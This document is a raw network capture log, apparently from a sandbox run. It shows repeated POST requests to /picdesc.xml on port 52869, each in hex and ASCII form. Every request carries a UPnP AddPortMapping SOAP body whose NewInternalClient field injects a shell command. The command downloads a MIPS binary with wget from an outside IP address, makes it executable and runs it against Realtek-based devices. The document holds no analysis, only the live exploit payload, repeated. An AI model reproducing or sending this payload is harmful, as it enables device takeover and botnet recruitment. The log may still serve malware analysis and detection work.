                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.553715944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.233411074 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.337050915 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:31.800065041 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      76192.168.2.154717045.121.215.452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:33.611221075 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:37.785641909 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
